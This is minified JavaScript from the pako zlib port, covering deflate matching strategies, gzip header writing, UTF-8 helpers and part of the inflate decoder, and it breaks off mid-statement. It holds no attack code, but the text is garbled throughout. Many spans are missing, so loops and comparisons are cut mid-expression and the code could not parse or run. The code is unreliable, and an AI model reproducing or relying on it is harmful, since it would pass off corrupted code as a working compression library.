A=t.pending_buf_size-5>t.w_size?t.w_size:t.pending_buf_size-5,i,s,a,n=0,E=t.strm.avail_in;do{if(i=65535,a=t.bi_valid+42>>3,t.strm.avail_outs+t.strm.avail_in&&(i=s+t.strm.avail_in),i>a&&(i=a),i>8,t.pending_buf[t.pending-2]=~i,t.pending_buf[t.pending-1]=~i>>8,Y(t.strm),s&&(s>i&&(s=i),t.strm.output.set(t.window.subarray(t.block_start,t.block_start+s),t.strm.next_out),t.strm.next_out+=s,t.strm.avail_out-=s,t.strm.total_out+=s,t.block_start+=s,i-=s),i&&(Ht(t.strm,t.strm.output,t.strm.next_out,i),t.strm.next_out+=i,t.strm.avail_out-=i,t.strm.total_out+=i)}while(n===0);return E-=t.strm.avail_in,E&&(E>=t.w_size?(t.matches=2,t.window.set(t.strm.input.subarray(t.strm.next_in-t.w_size,t.strm.next_in),0),t.strstart=t.w_size,t.insert=t.strstart):(t.window_size-t.strstart<=E&&(t.strstart-=t.w_size,t.window.set(t.window.subarray(t.w_size,t.w_size+t.strstart),0),t.matches<2&&t.matches++,t.insert>t.strstart&&(t.insert=t.strstart)),t.window.set(t.strm.input.subarray(t.strm.next_in-E,t.strm.next_in),t.strstart),t.strstart+=E,t.insert+=E>t.w_size-t.insert?t.w_size-t.insert:E),t.block_start=t.strstart),t.high_watera&&t.block_start>=t.w_size&&(t.block_start-=t.w_size,t.strstart-=t.w_size,t.window.set(t.window.subarray(t.w_size,t.w_size+t.strstart),0),t.matches<2&&t.matches++,a+=t.w_size,t.insert>t.strstart&&(t.insert=t.strstart)),a>t.strm.avail_in&&(a=t.strm.avail_in),a&&(Ht(t.strm,t.window,t.strstart,a),t.strstart+=a,t.insert+=a>t.w_size-t.insert?t.w_size-t.insert:a),t.high_water>3,a=t.pending_buf_size-a>65535?65535:t.pending_buf_size-a,A=a>t.w_size?t.w_size:a,s=t.strstart-t.block_start,(s>=A||(s||e===N)&&e!==sA&&t.strm.avail_in===0&&s<=a)&&(i=s>a?a:s,n=e===N&&t.strm.avail_in===0&&i===s?1:0,Tt(t,t.block_start,i,n),t.block_start+=i,Y(t.strm)),n?oA:H)},It=(t,e)=>{let A,i;for(;;){if(t.lookahead=x&&(t.ins_h=aA(t,t.ins_h,t.window[t.strstart+x-1]),A=t.prev[t.strstart&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=t.strstart),A!==0&&t.strstart-A<=t.w_size-j&&(t.match_length=Ai(t,A)),t.match_length>=x)if(i=iA(t,t.strstart-t.match_start,t.match_length-x),t.lookahead-=t.match_length,t.match_length<=t.max_lazy_match&&t.lookahead>=x){t.match_length--;do t.strstart++,t.ins_h=aA(t,t.ins_h,t.window[t.strstart+x-1]),A=t.prev[t.strstart&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=t.strstart;while(--t.match_length!==0);t.strstart++}else t.strstart+=t.match_length,t.match_length=0,t.ins_h=t.window[t.strstart],t.ins_h=aA(t,t.ins_h,t.window[t.strstart+1]);else i=iA(t,0,t.window[t.strstart]),t.lookahead--,t.strstart++;if(i&&(b(t,!1),t.strm.avail_out===0))return H}return t.insert=t.strstart{let A,i,s;for(;;){if(t.lookahead=x&&(t.ins_h=aA(t,t.ins_h,t.window[t.strstart+x-1]),A=t.prev[t.strstart&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=t.strstart),t.prev_length=t.match_length,t.prev_match=t.match_start,t.match_length=x-1,A!==0&&t.prev_length4096)&&(t.match_length=x-1)),t.prev_length>=x&&t.match_length<=t.prev_length){s=t.strstart+t.lookahead-x,i=iA(t,t.strstart-1-t.prev_match,t.prev_length-x),t.lookahead-=t.prev_length-1,t.prev_length-=2;do++t.strstart<=s&&(t.ins_h=aA(t,t.ins_h,t.window[t.strstart+x-1]),A=t.prev[t.strstart&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=t.strstart);while(--t.prev_length!==0);if(t.match_available=0,t.match_length=x-1,t.strstart++,i&&(b(t,!1),t.strm.avail_out===0))return H}else if(t.match_available){if(i=iA(t,0,t.window[t.strstart-1]),i&&b(t,!1),t.strstart++,t.lookahead--,t.strm.avail_out===0)return H}else t.match_available=1,t.strstart++,t.lookahead--}return t.match_available&&(i=iA(t,0,t.window[t.strstart-1]),t.match_available=0),t.insert=t.strstart{let A,i,s,a,n=t.window;for(;;){if(t.lookahead<=eA){if(dA(t),t.lookahead<=eA&&e===sA)return H;if(t.lookahead===0)break}if(t.match_length=0,t.lookahead>=x&&t.strstart>0&&(s=t.strstart-1,i=n[s],i===n[++s]&&i===n[++s]&&i===n[++s])){a=t.strstart+eA;do;while(i===n[++s]&&i===n[++s]&&i===n[++s]&&i===n[++s]&&i===n[++s]&&i===n[++s]&&i===n[++s]&&i===n[++s]&&st.lookahead&&(t.match_length=t.lookahead)}if(t.match_length>=x?(A=iA(t,1,t.match_length-x),t.lookahead-=t.match_length,t.strstart+=t.match_length,t.match_length=0):(A=iA(t,0,t.window[t.strstart]),t.lookahead--,t.strstart++),A&&(b(t,!1),t.strm.avail_out===0))return H}return t.insert=0,e===N?(b(t,!0),t.strm.avail_out===0?oA:MA):t.sym_next&&(b(t,!1),t.strm.avail_out===0)?H:RA},ra=(t,e)=>{let A;for(;;){if(t.lookahead===0&&(dA(t),t.lookahead===0)){if(e===sA)return H;break}if(t.match_length=0,A=iA(t,0,t.window[t.strstart]),t.lookahead--,t.strstart++,A&&(b(t,!1),t.strm.avail_out===0))return H}return t.insert=0,e===N?(b(t,!0),t.strm.avail_out===0?oA:MA):t.sym_next&&(b(t,!1),t.strm.avail_out===0)?H:RA};function v(t,e,A,i,s){this.good_length=t,this.max_lazy=e,this.nice_length=A,this.max_chain=i,this.func=s}var uA=[new v(0,0,0,0,ti),new v(4,4,8,4,It),new v(4,5,16,8,It),new v(4,6,32,32,It),new v(4,4,16,16,fA),new v(8,16,32,32,fA),new v(8,16,128,128,fA),new v(8,32,128,256,fA),new v(32,128,258,1024,fA),new v(32,258,258,4096,fA)],ha=t=>{t.window_size=2*t.w_size,tA(t.head),t.max_lazy_match=uA[t.level].max_lazy,t.good_match=uA[t.level].good_length,t.nice_match=uA[t.level].nice_length,t.max_chain_length=uA[t.level].max_chain,t.strstart=0,t.block_start=0,t.lookahead=0,t.insert=0,t.match_length=t.prev_length=x-1,t.match_available=0,t.ins_h=0};function oa(){this.strm=null,this.status=0,this.pending_buf=null,this.pending_buf_size=0,this.pending_out=0,this.pending=0,this.wrap=0,this.gzhead=null,this.gzindex=0,this.method=Et,this.last_flush=-1,this.w_size=0,this.w_bits=0,this.w_mask=0,this.window=null,this.window_size=0,this.prev=null,this.head=null,this.ins_h=0,this.hash_size=0,this.hash_bits=0,this.hash_mask=0,this.hash_shift=0,this.block_start=0,this.match_length=0,this.prev_match=0,this.match_available=0,this.strstart=0,this.match_start=0,this.lookahead=0,this.prev_length=0,this.max_chain_length=0,this.max_lazy_match=0,this.level=0,this.strategy=0,this.good_match=0,this.nice_match=0,this.dyn_ltree=new Uint16Array(ta*2),this.dyn_dtree=new Uint16Array((2*$s+1)*2),this.bl_tree=new Uint16Array((2*Aa+1)*2),tA(this.dyn_ltree),tA(this.dyn_dtree),tA(this.bl_tree),this.l_desc=null,this.d_desc=null,this.bl_desc=null,this.bl_count=new Uint16Array(ea+1),this.heap=new Uint16Array(2*pt+1),tA(this.heap),this.heap_len=0,this.heap_max=0,this.depth=new Uint16Array(2*pt+1),tA(this.depth),this.sym_buf=0,this.lit_bufsize=0,this.sym_next=0,this.sym_end=0,this.opt_len=0,this.static_len=0,this.matches=0,this.insert=0,this.bi_buf=0,this.bi_valid=0}var mA=t=>{if(!t)return 1;let e=t.state;return!e||e.strm!==t||e.status!==lA&&e.status!==mt&&e.status!==Ut&&e.status!==Pt&&e.status!==kt&&e.status!==Ot&&e.status!==EA&&e.status!==QA?1:0},ei=t=>{if(mA(t))return rA(t,z);t.total_in=t.total_out=0,t.data_type=zs;let e=t.state;return e.pending=0,e.pending_out=0,e.wrap<0&&(e.wrap=-e.wrap),e.status=e.wrap===2?mt:e.wrap?lA:EA,t.adler=e.wrap===2?0:1,e.last_flush=-2,ys(e),k},ii=t=>{let e=ei(t);return e===k&&ha(t.state),e},ga=(t,e)=>mA(t)||t.state.wrap!==2?z:(t.state.gzhead=e,k),si=(t,e,A,i,s,a)=>{if(!t)return z;let n=1;if(e===Ls&&(e=6),i<0?(n=0,i=-i):i>15&&(n=2,i-=16),s<1||s>js||A!==Et||i<8||i>15||e<0||e>9||a<0||a>vs||i===8&&n!==1)return rA(t,z);i===8&&(i=9);let E=new oa;return t.state=E,E.strm=t,E.status=lA,E.wrap=n,E.gzhead=null,E.w_bits=i,E.w_size=1<si(t,e,Et,Zs,Xs,Ws),Ba=(t,e)=>{if(mA(t)||e>ne||e<0)return t?rA(t,z):z;let A=t.state;if(!t.output||t.avail_in!==0&&!t.input||A.status===QA&&e!==N)return rA(t,t.avail_out===0?Ct:z);let i=A.last_flush;if(A.last_flush=e,A.pending!==0){if(Y(t),t.avail_out===0)return A.last_flush=-1,k}else if(t.avail_in===0&&re(e)<=re(i)&&e!==N)return rA(t,Ct);if(A.status===QA&&t.avail_in!==0)return rA(t,Ct);if(A.status===lA&&A.wrap===0&&(A.status=EA),A.status===lA){let s=Et+(A.w_bits-8<<4)<<8,a=-1;if(A.strategy>=qA||A.level<2?a=0:A.level<6?a=1:A.level===6?a=2:a=3,s|=a<<6,A.strstart!==0&&(s|=ia),s+=31-s%31,xA(A,s),A.strstart!==0&&(xA(A,t.adler>>>16),xA(A,t.adler&65535)),t.adler=1,A.status=EA,Y(t),A.pending!==0)return A.last_flush=-1,k}if(A.status===mt){if(t.adler=0,u(A,31),u(A,139),u(A,8),A.gzhead)u(A,(A.gzhead.text?1:0)+(A.gzhead.hcrc?2:0)+(A.gzhead.extra?4:0)+(A.gzhead.name?8:0)+(A.gzhead.comment?16:0)),u(A,A.gzhead.time&255),u(A,A.gzhead.time>>8&255),u(A,A.gzhead.time>>16&255),u(A,A.gzhead.time>>24&255),u(A,A.level===9?2:A.strategy>=qA||A.level<2?4:0),u(A,A.gzhead.os&255),A.gzhead.extra&&A.gzhead.extra.length&&(u(A,A.gzhead.extra.length&255),u(A,A.gzhead.extra.length>>8&255)),A.gzhead.hcrc&&(t.adler=P(t.adler,A.pending_buf,A.pending,0)),A.gzindex=0,A.status=Ut;else if(u(A,0),u(A,0),u(A,0),u(A,0),u(A,0),u(A,A.level===9?2:A.strategy>=qA||A.level<2?4:0),u(A,sa),A.status=EA,Y(t),A.pending!==0)return A.last_flush=-1,k}if(A.status===Ut){if(A.gzhead.extra){let s=A.pending,a=(A.gzhead.extra.length&65535)-A.gzindex;for(;A.pending+a>A.pending_buf_size;){let E=A.pending_buf_size-A.pending;if(A.pending_buf.set(A.gzhead.extra.subarray(A.gzindex,A.gzindex+E),A.pending),A.pending=A.pending_buf_size,A.gzhead.hcrc&&A.pending>s&&(t.adler=P(t.adler,A.pending_buf,A.pending-s,s)),A.gzindex+=E,Y(t),A.pending!==0)return A.last_flush=-1,k;s=0,a-=E}let n=new Uint8Array(A.gzhead.extra);A.pending_buf.set(n.subarray(A.gzindex,A.gzindex+a),A.pending),A.pending+=a,A.gzhead.hcrc&&A.pending>s&&(t.adler=P(t.adler,A.pending_buf,A.pending-s,s)),A.gzindex=0}A.status=Pt}if(A.status===Pt){if(A.gzhead.name){let s=A.pending,a;do{if(A.pending===A.pending_buf_size){if(A.gzhead.hcrc&&A.pending>s&&(t.adler=P(t.adler,A.pending_buf,A.pending-s,s)),Y(t),A.pending!==0)return A.last_flush=-1,k;s=0}A.gzindexs&&(t.adler=P(t.adler,A.pending_buf,A.pending-s,s)),A.gzindex=0}A.status=kt}if(A.status===kt){if(A.gzhead.comment){let s=A.pending,a;do{if(A.pending===A.pending_buf_size){if(A.gzhead.hcrc&&A.pending>s&&(t.adler=P(t.adler,A.pending_buf,A.pending-s,s)),Y(t),A.pending!==0)return A.last_flush=-1,k;s=0}A.gzindexs&&(t.adler=P(t.adler,A.pending_buf,A.pending-s,s))}A.status=Ot}if(A.status===Ot){if(A.gzhead.hcrc){if(A.pending+2>A.pending_buf_size&&(Y(t),A.pending!==0))return A.last_flush=-1,k;u(A,t.adler&255),u(A,t.adler>>8&255),t.adler=0}if(A.status=EA,Y(t),A.pending!==0)return A.last_flush=-1,k}if(t.avail_in!==0||A.lookahead!==0||e!==sA&&A.status!==QA){let s=A.level===0?ti(A,e):A.strategy===qA?ra(A,e):A.strategy===Js?Ea(A,e):uA[A.level].func(A,e);if((s===oA||s===MA)&&(A.status=QA),s===H||s===oA)return t.avail_out===0&&(A.last_flush=-1),k;if(s===RA&&(e===Gs?bs(A):e!==ne&&(Tt(A,0,0,!1),e===ms&&(tA(A.head),A.lookahead===0&&(A.strstart=0,A.block_start=0,A.insert=0))),Y(t),t.avail_out===0))return A.last_flush=-1,k}return e!==N?k:A.wrap<=0?Ee:(A.wrap===2?(u(A,t.adler&255),u(A,t.adler>>8&255),u(A,t.adler>>16&255),u(A,t.adler>>24&255),u(A,t.total_in&255),u(A,t.total_in>>8&255),u(A,t.total_in>>16&255),u(A,t.total_in>>24&255)):(xA(A,t.adler>>>16),xA(A,t.adler&65535)),Y(t),A.wrap>0&&(A.wrap=-A.wrap),A.pending!==0?k:Ee)},wa=t=>{if(mA(t))return z;let e=t.state.status;return t.state=null,e===EA?rA(t,Ks):k},_a=(t,e)=>{let A=e.length;if(mA(t))return z;let i=t.state,s=i.wrap;if(s===2||s===1&&i.status!==lA||i.lookahead)return z;if(s===1&&(t.adler=HA(t.adler,e,A,0)),i.wrap=0,A>=i.w_size){s===0&&(tA(i.head),i.strstart=0,i.block_start=0,i.insert=0);let o=new Uint8Array(i.w_size);o.set(e.subarray(A-i.w_size,A),0),e=o,A=i.w_size}let a=t.avail_in,n=t.next_in,E=t.input;for(t.avail_in=A,t.next_in=0,t.input=e,dA(i);i.lookahead>=x;){let o=i.strstart,r=i.lookahead-(x-1);do i.ins_h=aA(i,i.ins_h,i.window[o+x-1]),i.prev[o&i.w_mask]=i.head[i.ins_h],i.head[i.ins_h]=o,o++;while(--r);i.strstart=o,i.lookahead=x-1,dA(i)}return i.strstart+=i.lookahead,i.block_start=i.strstart,i.insert=i.lookahead,i.lookahead=0,i.match_length=i.prev_length=x-1,i.match_available=0,t.next_in=n,t.input=E,t.avail_in=a,i.wrap=s,k},fa=ca,Ca=si,Ia=ii,la=ei,da=ga,Sa=Ba,Da=wa,Ra=_a,Ma="pako deflate (from Nodeca project)",TA={deflateInit:fa,deflateInit2:Ca,deflateReset:Ia,deflateResetKeep:la,deflateSetHeader:da,deflate:Sa,deflateEnd:Da,deflateSetDictionary:Ra,deflateInfo:Ma},xa=(t,e)=>Object.prototype.hasOwnProperty.call(t,e),Qa=function(t){let e=Array.prototype.slice.call(arguments,1);for(;e.length;){let A=e.shift();if(A){if(typeof A!="object")throw new TypeError(A+"must be non-object");for(let i in A)xa(A,i)&&(t[i]=A[i])}}return t},ua=t=>{let e=0;for(let i=0,s=t.length;i=252?6:t>=248?5:t>=240?4:t>=224?3:t>=192?2:1;yA[254]=yA[254]=1;var Fa=t=>{if(typeof TextEncoder=="function"&&TextEncoder.prototype.encode)return new TextEncoder().encode(t);let e,A,i,s,a,n=t.length,E=0;for(s=0;s>>6,e[a++]=128|A&63):A<65536?(e[a++]=224|A>>>12,e[a++]=128|A>>>6&63,e[a++]=128|A&63):(e[a++]=240|A>>>18,e[a++]=128|A>>>12&63,e[a++]=128|A>>>6&63,e[a++]=128|A&63);return e},Ta=(t,e)=>{if(e<65534&&t.subarray&&ai)return String.fromCharCode.apply(null,t.length===e?t:t.subarray(0,e));let A="";for(let i=0;i{let A=e||t.length;if(typeof TextDecoder=="function"&&TextDecoder.prototype.decode)return new TextDecoder().decode(t.subarray(0,e));let i,s,a=new Array(A*2);for(s=0,i=0;i4){a[s++]=65533,i+=E-1;continue}for(n&=E===2?31:E===3?15:7;E>1&&i1){a[s++]=65533;continue}n<65536?a[s++]=n:(n-=65536,a[s++]=55296|n>>10&1023,a[s++]=56320|n&1023)}return Ta(a,s)},Ua=(t,e)=>{e=e||t.length,e>t.length&&(e=t.length);let A=e-1;for(;A>=0&&(t[A]&192)===128;)A--;return A<0||A===0?e:A+yA[t[A]]>e?A:e},YA={string2buf:Fa,buf2string:pa,utf8border:Ua};function Pa(){this.input=null,this.next_in=0,this.avail_in=0,this.total_in=0,this.output=null,this.next_out=0,this.avail_out=0,this.total_out=0,this.msg="",this.state=null,this.data_type=2,this.adler=0}var ni=Pa,Ei=Object.prototype.toString,{Z_NO_FLUSH:ka,Z_SYNC_FLUSH:Oa,Z_FULL_FLUSH:Ha,Z_FINISH:ya,Z_OK:at,Z_STREAM_END:Ya,Z_DEFAULT_COMPRESSION:ba,Z_DEFAULT_STRATEGY:Ga,Z_DEFLATED:ma}=DA;function KA(t){this.options=rt.assign({level:ba,method:ma,chunkSize:16384,windowBits:15,memLevel:8,strategy:Ga},t||{});let e=this.options;e.raw&&e.windowBits>0?e.windowBits=-e.windowBits:e.gzip&&e.windowBits>0&&e.windowBits<16&&(e.windowBits+=16),this.err=0,this.msg="",this.ended=!1,this.chunks=[],this.strm=new ni,this.strm.avail_out=0;let A=TA.deflateInit2(this.strm,e.level,e.method,e.windowBits,e.memLevel,e.strategy);if(A!==at)throw new Error(hA[A]);if(e.header&&TA.deflateSetHeader(this.strm,e.header),e.dictionary){let i;if(typeof e.dictionary=="string"?i=YA.string2buf(e.dictionary):Ei.call(e.dictionary)==="[object ArrayBuffer]"?i=new Uint8Array(e.dictionary):i=e.dictionary,A=TA.deflateSetDictionary(this.strm,i),A!==at)throw new Error(hA[A]);this._dict_set=!0}}KA.prototype.push=function(t,e){let A=this.strm,i=this.options.chunkSize,s,a;if(this.ended)return!1;for(e===~~e?a=e:a=e===!0?ya:ka,typeof t=="string"?A.input=YA.string2buf(t):Ei.call(t)==="[object ArrayBuffer]"?A.input=new Uint8Array(t):A.input=t,A.next_in=0,A.avail_in=A.input.length;;){if(A.avail_out===0&&(A.output=new Uint8Array(i),A.next_out=0,A.avail_out=i),(a===Oa||a===Ha)&&A.avail_out<=6){this.onData(A.output.subarray(0,A.next_out)),A.avail_out=0;continue}if(s=TA.deflate(A,a),s===Ya)return A.next_out>0&&this.onData(A.output.subarray(0,A.next_out)),s=TA.deflateEnd(this.strm),this.onEnd(s),this.ended=!0,s===at;if(A.avail_out===0){this.onData(A.output);continue}if(a>0&&A.next_out>0){this.onData(A.output.subarray(0,A.next_out)),A.avail_out=0;continue}if(A.avail_in===0)break}return!0};KA.prototype.onData=function(t){this.chunks.push(t)};KA.prototype.onEnd=function(t){t===at&&(this.result=rt.flattenChunks(this.chunks)),this.chunks=[],this.err=t,this.msg=this.strm.msg};function Kt(t,e){let A=new KA(e);if(A.push(t,!0),A.err)throw A.msg||hA[A.err];return A.result}function Ka(t,e){return e=e||{},e.raw=!0,Kt(t,e)}function La(t,e){return e=e||{},e.gzip=!0,Kt(t,e)}var Na=KA,Ja=Kt,va=Ka,Wa=La,za=DA,ja={Deflate:Na,deflate:Ja,deflateRaw:va,gzip:Wa,constants:za},$A=16209,Za=16191,Xa=function(e,A){let i,s,a,n,E,o,r,h,w,c,g,f,F,d,C,Q,l,B,D,p,_,M,S,I,R=e.state;i=e.next_in,S=e.input,s=i+(e.avail_in-5),a=e.next_out,I=e.output,n=a-(A-e.avail_out),E=a+(e.avail_out-257),o=R.dmax,r=R.wsize,h=R.whave,w=R.wnext,c=R.window,g=R.hold,f=R.bits,F=R.lencode,d=R.distcode,C=(1<>>24,g>>>=B,f-=B,B=l>>>16&255,B===0)I[a++]=l&65535;else if(B&16){D=l&65535,B&=15,B&&(f>>=B,f-=B),f<15&&(g+=S[i++]<>>24,g>>>=B,f-=B,B=l>>>16&255,B&16){if(p=l&65535,B&=15,fo){e.msg="invalid distance too far back",R.mode=$A;break A}if(g>>>=B,f-=B,B=a-n,p>B){if(B=p-B,B>h&&R.sane){e.msg="invalid distance too far back",R.mode=$A;break A}if(_=0,M=c,w===0){if(_+=r-B,B2;)I[a++]=M[_++],I[a++]=M[_++],I[a++]=M[_++],D-=3;D&&(I[a++]=M[_++],D>1&&(I[a++]=M[_++]))}else{_=a-p;do I[a++]=I[_++],I[a++]=I[_++],I[a++]=I[_++],D-=3;while(D>2);D&&(I[a++]=I[_++],D>1&&(I[a++]=I[_++]))}}else if(B&64){e.msg="invalid distance code",R.mode=$A;break A}else{l=d[(l&65535)+(g&(1<>3,i-=D,f-=D<<3,g&=(1<{let o=E.bits,r=0,h=0,w=0,c=0,g=0,f=0,F=0,d=0,C=0,Q=0,l,B,D,p,_,M=null,S,I=new Uint16Array(CA+1),R=new Uint16Array(CA+1),Z=null,ct,_A,XA;for(r=0;r<=CA;r++)I[r]=0;for(h=0;h=1&&I[c]===0;c--);if(g>c&&(g=c),c===0)return s[a++]=1<<24|64<<16|0,s[a++]=1<<24|64<<16|0,E.bits=1,0;for(w=1;w0&&(t===ge||c!==1))return-1;for(R[1]=0,r=1;rhe||t===ce&&C>oe)return 1;for(;;){ct=r-F,n[h]+1=S?(_A=Z[n[h]-S],XA=M[n[h]-S]):(_A=96,XA=0),l=1<>F)+B]=ct<<24|_A<<16|XA|0;while(B!==0);for(l=1<>=1;if(l!==0?(Q&=l-1,Q+=l):Q=0,h++,--I[r]===0){if(r===c)break;r=e[A+n[h]]}if(r>g&&(Q&p)!==D){for(F===0&&(F=g),_+=w,f=r-F,d=1<he||t===ce&&C>oe)return 1;D=Q&p,s[D]=g<<24|f<<16|_-a|0}}return Q!==0&&(s[_+Q]=r-F<<24|64<<16|0),E.bits=g,0},pA=tn,en=0,ri=1,hi=2,{Z_FINISH:Be,Z_BLOCK:sn,Z_TREES:At,Z_OK:gA,Z_STREAM_END:an,Z_NEED_DICT:nn,Z_STREAM_ERROR:J,Z_DATA_ERROR:oi,Z_MEM_ERROR:gi,Z_BUF_ERROR:En,Z_DEFLATED:we}=DA,ht=16180,_e=16181,fe=16182,Ce=16183,Ie=16184,le=16185,de=16186,Se=16187,De=16188,Re=16189,nt=16190,X=16191,dt=16192,Me=16193,St=16194,xe=16195,Qe=16196,ue=16197,Fe=16198,tt=16199,et=16200,Te=16201,pe=16202,Ue=16203,Pe=16204,ke=16205,Dt=16206,Oe=16207,He=16208,T=16209,ci=16210,Bi=16211,rn=852,hn=592,on=15,gn=on,ye=t=>(t>>>24&255)+(t>>>8&65280)+((t&65280)<<8)+((t&255)<<24);function cn(){this.strm=null,this.mode=0,this.last=!1,this.wrap=0,this.havedict=!1,this.flags=0,this.dmax=0,this.check=0,this.total=0,this.head=null,this.wbits=0,this.wsize=0,this.whave=0,this.wnext=0,this.window=null,this.hold=0,this.bits=0,this.length=0,this.offset=0,this.extra=0,this.lencode=null,this.distcode=null,this.lenbits=0,this.distbits=0,this.ncode=0,this.nlen=0,this.ndist=0,this.have=0,this.next=null,this.lens=new Uint16Array(320),this.work=new Uint16Array(288),this.lendyn=null,this.distdyn=null,this.sane=0,this.back=0,this.was=0}var cA=t=>{if(!t)return 1;let e=t.state;return!e||e.strm!==t||e.modeBi?1:0},wi=t=>{if(cA(t))return J;let e=t.state;return t.total_in=t.total_out=e.total=0,t.msg="",e.wrap&&(t.adler=e.wrap&1),e.mode=ht,e.last=0,e.havedict=0,e.flags=-1,e.dmax=32768,e.head=null,e.hold=0,e.bits=0,e.lencode=e.lendyn=new Int32Array(rn),e.distcode=e.distdyn=new Int32Array(hn),e.sane=1,e.back=-1,gA},_i=t=>{if(cA(t))return J;let e=t.state;return e.wsize=0,e.whave=0,e.wnext=0,wi(t)},fi=(t,e)=>{let A;if(cA(t))return J;let i=t.state;return e<0?(A=0,e=-e):(A=(e>>4)+5,e<48&&(e&=15)),e&&(e<8||e>15)?J:(i.window!==null&&i.wbits!==e&&(i.window=null),i.wrap=A,i.wbits=e,_i(t))},Ci=(t,e)=>{if(!t)return J;let A=new cn;t.state=A,A.strm=t,A.window=null,A.mode=ht;let i=fi(t,e);return i!==gA&&(t.state=null),i},Bn=t=>Ci(t,gn),Ye=!0,Rt,Mt,wn=t=>{if(Ye){Rt=new Int32Array(512),Mt=new Int32Array(32);let e=0;for(;e<144;)t.lens[e++]=8;for(;e<256;)t.lens[e++]=9;for(;e<280;)t.lens[e++]=7;for(;e<288;)t.lens[e++]=8;for(pA(ri,t.lens,0,288,Rt,0,t.work,{bits:9}),e=0;e<32;)t.lens[e++]=5;pA(hi,t.lens,0,32,Mt,0,t.work,{bits:5}),Ye=!1}t.lencode=Rt,t.lenbits=9,t.distcode=Mt,t.distbits=5},Ii=(t,e,A,i)=>{let s,a=t.state;return a.window===null&&(a.wsize=1<=a.wsize?(a.window.set(e.subarray(A-a.wsize,A),0),a.wnext=0,a.whave=a.wsize):(s=a.wsize-a.wnext,s>i&&(s=i),a.window.set(e.subarray(A-i,A-i+s),a.wnext),i-=s,i?(a.window.set(e.subarray(A-i,A),0),a.wnext=i,a.whave=a.wsize):(a.wnext+=s,a.wnext===a.wsize&&(a.wnext=0),a.whave{let A,i,s,a,n,E,o,r,h,w,c,g,f,F,d=0,C,Q,l,B,D,p,_,M,S=new Uint8Array(4),I,R,Z=new Uint8Array([16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]);if(cA(t)||!t.output||!t.input&&t.avail_in!==0)return J;A=t.state,A.mode===X&&(A.mode=dt),n=t.next_out,s=t.output,o=t.avail_out,a=t.next_in,i=t.input,E=t.avail_in,r=A.hold,h=A.bits,w=E,c=o,M=gA;A:for(;;)switch(A.mode){case ht:if(A.wrap===0){A.mode=dt;break}for(;h<16;){if(E===0)break A;E--,r+=i[a++]<>>8&255,A.check=P(A.check,S,2,0),r=0,h=0,A.mode=_e;break}if(A.head&&(A.head.done=!1),!(A.wrap&1)||(((r&255)<<8)+(r>>8))%31){t.msg="incorrect header check",A.mode=T;break}if((r&15)!==we){t.msg="unknown compression method",A.mode=T;break}if(r>>>=4,h-=4,_=(r&15)+8,A.wbits===0&&(A.wbits=_),_>15||_>A.wbits){t.msg="invalid window size",A.mode=T;break}A.dmax=1<>8&1),A.flags&512&&A.wrap&4&&(S[0]=r&255,S[1]=r>>>8&255,A.check=P(A.check,S,2,0)),r=0,h=0,A.mode=fe;case fe:for(;h<32;){if(E===0)break A;E--,r+=i[a++]<>>8&255,S[2]=r>>>16&255,S[3]=r>>>24&255,A.check=P(A.check,S,4,0)),r=0,h=0,A.mode=Ce;case Ce:for(;h<16;){if(E===0)break A;E--,r+=i[a++]<>8),A.flags&512&&A.wrap&4&&(S[0]=r&255,S[1]=r>>>8&255,A.check=P(A.check,S,2,0)),r=0,h=0,A.mode=Ie;case Ie:if(A.flags&1024){for(;h<16;){if(E===0)break A;E--,r+=i[a++]<>>8&255,A.check=P(A.check,S,2,0)),r=0,h=0}else A.head&&(A.head.extra=null);A.mode=le;case le:if(A.flags&1024&&(g=A.length,g>E&&(g=E),g&&(A.head&&(_=A.head.extra_len-A.length,A.head.extra||(A.head.extra=new Uint8Array(A.head.extra_len)),A.head.extra.set(i.subarray(a,a+g),_)),A.flags&512&&A.wrap&4&&(A.check=P(A.check,i,g,a)),E-=g,a+=g,A.length-=g),A.length))break A;A.length=0,A.mode=de;case de:if(A.flags&2048){if(E===0)break A;g=0;do _=i[a+g++],A.head&&_&&A.length<65536&&(A.head.name+=String.fromCharCode(_));while(_&&g>9&1,A.head.done=!0),t.adler=A.check=0,A.mode=X;break;case Re:for(;h<32;){if(E===0)break A;E--,r+=i[a++]<>>=h&7,h-=h&7,A.mode=Dt;break}for(;h<3;){if(E===0)break A;E--,r+=i[a++]<>>=1,h-=1,r&3){case 0:A.mode=Me;break;case 1:if(wn(A),A.mode=tt,e===At){r>>>=2,h-=2;break A}break;case 2:A.mode=Qe;break;case 3:t.msg="invalid block type",A.mode=T}r>>>=2,h-=2;break;case Me:for(r>>>=h&7,h-=h&7;h<32;){if(E===0)break A;E--,r+=i[a++]<>>16^65535)){t.msg="invalid stored block lengths",A.mode=T;break}if(A.length=r&65535,r=0,h=0,A.mode=St,e===At)break A;case St:A.mode=xe;case xe:if(g=A.length,g){if(g>E&&(g=E),g>o&&(g=o),g===0)break A;s.set(i.subarray(a,a+g),n),E-=g,a+=g,o-=g,n+=g,A.length-=g;break}A.mode=X;break;case Qe:for(;h<14;){if(E===0)break A;E--,r+=i[a++]<>>=5,h-=5,A.ndist=(r&31)+1,r>>>=5,h-=5,A.ncode=(r&15)+4,r>>>=4,h-=4,A.nlen>286||A.ndist>30){t.msg="too many length or distance symbols",A.mode=T;break}A.have=0,A.mode=ue;case ue:for(;A.have>>=3,h-=3}for(;A.have<19;)A.lens[Z[A.have++]]=0;if(A.lencode=A.lendyn,A.lenbits=7,I={bits:A.lenbits},M=pA(en,A.lens,0,19,A.lencode,0,A.work,I),A.lenbits=I.bits,M){t.msg="invalid code lengths set",A.mode=T;break}A.have=0,A.mode=Fe;case Fe:for(;A.have>>24,Q=d>>>16&255,l=d&65535,!(C<=h);){if(E===0)break A;E--,r+=i[a++]<>>=C,h-=C,A.lens[A.have++]=l;else{if(l===16){for(R=C+2;h>>=C,h-=C,A.have===0){t.msg="invalid bit length repeat",A.mode=T;break}_=A.lens[A.have-1],g=3+(r&3),r>>>=2,h-=2}else if(l===17){for(R=C+3;h>>=C,h-=C,_=0,g=3+(r&7),r>>>=3,h-=3}else{for(R=C+7;h>>=C,h-=C,_=0,g=11+(r&127),r>>>=7,h-=7}if(A.have+g>A.nlen+A.ndist){t.msg="invalid bit length 